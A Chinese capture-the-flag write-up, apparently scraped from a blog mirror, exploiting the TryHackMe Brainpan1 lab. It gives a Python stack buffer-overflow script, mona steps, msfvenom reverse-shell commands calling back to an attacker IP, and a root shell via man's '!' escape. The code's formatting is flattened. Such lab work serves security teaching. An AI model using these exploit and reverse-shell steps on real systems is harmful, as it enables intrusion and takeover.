当前位置: 首页 > news >正文

[TryHackMe]Brainpan1( 内存溢出)

1.初次连接

nmap

没有实际内容

使用gobuster扫描目录

找到一个exe文件  准备进行内存溢出攻击

连接9999端口  但是需要密码

1.fuzzer

输入1000个A

造成崩溃

2.寻找偏移量

35724134

import socketip = "Your Windows IP"
port = 9999prefix = ""
offset = 524
overflow = "A" * offset
retn = ""
padding = ""
payload = "C" * 4
postfix = ""buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((ip, port))print("Sending evil buffer...")s.send(bytes(buffer + "\r\n", "latin-1"))print("Done!")
except:print("Could not connect.")

成功覆盖

3.寻找坏字符

payload:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

创建mona文件夹:

!mona config -set workingfolder c:\mona\%p

创建字节组:

!mona bytearray -b "\x00"

执行完payload后 复制ESP值:

!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910

坏字符:\x00\x01\x02\x03\x04

4.寻找跳转点

!mona jmp -r esp -cpb "\x00"

0x311712f3

retn填上  \xf3\x12\x17\x31

padding  填上 "\x90" * 16

5.执行payload

使用msfvenom生成反弹shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=1234 EXITFUNC=thread -f c -a x86 -b "\x00\x01\x02\x03\x04"

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.88.77 LPORT=6666 EXITFUNC=thread -f c -a x86 -b "\x00\x01\x02\x03\x04"

使用msfconsole

use exploit/multi/handler

5.GetShell

2.提权

查看sh文件

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then pid=`ps aux | grep brainpan.exe | grep -v grep`if [[ ! -z $pid ]]; thenkill -9 $pidkillall wineserverkillall winedevice.exefi/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi # run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then pid=`ps aux | grep SimpleHTTPServer | grep -v grep`if [[ ! -z $pid ]]; thenkill -9 $pidficd /home/puck/web/usr/bin/python -m SimpleHTTPServer 10000
fi 

这个命令给了我们三个选项;networkproclist 和 manual

其中的man

我们可以发现 man 可以用来执行带有 ! 字符的命令

!/bin/bash -p -i

http://www.dtcms.com/a/335781.html

相关文章:

  • PERCEIVER IO:一种用于结构化输入与输出的通用架构
  • 脉冲计数实现
  • 深入剖析ROS参数服务器通信机制 ——共享全局数据的“云端仓库”实现原理
  • Node.js安装教程
  • MySQL的事务日志:
  • java之 junit4单元测试Mockito的使用
  • 26. Object.defineProperty 和 Proxy 用法
  • 中级统计师-会计学基础知识-第五章 财务报告
  • 计算机算术6-SRT2除法
  • Linux817 shell:until,nfs,random
  • TypeScript中的import语法详解
  • 6.Ansible自动化之-管理变量和事实
  • 关于第一次接触Linux TCP/IP网络相关项目
  • 牛客周赛 Round 105
  • Java -- 坐标体系--绘图方法
  • 《详解 C++ Date 类的设计与实现:从运算符重载到功能测试》
  • Originality AI:原创度和AI内容检测工具
  • thingsboard 服务器在2核CPU、2G内存资源配置下如何调优提速,适合开发/演示
  • 飞算JavaAI赋能高吞吐服务器模拟:从0到百万级QPS的“流量洪峰”征服之旅
  • C#读取文件, IO 类属性及使用示例
  • [GLM-4.5] GLM-4.5模型 | Claude Code服务集成
  • Qt 5.5 的安装与配置(使用 VSCode编辑)
  • React 基础实战:从组件到案例全解析
  • Talk2BEV论文速读
  • 什么叫作数据处理?数据处理和数据治理是什么关系
  • Java StringBuffer使用详解
  • Spring MVC 九大组件源码深度剖析(四):HandlerMapping - 请求映射的玄机
  • 电力设备状态监测与健康管理:基于多源异构数据融合的技术实现
  • 【龙泽科技】汽车车身测量与结构件更换仿真教学软件【GEELY+CHIEF】
  • Wasserstein GAN:如何解决GANS训练崩溃,深入浅出数学原理级讲解WGAN与WGAN-GP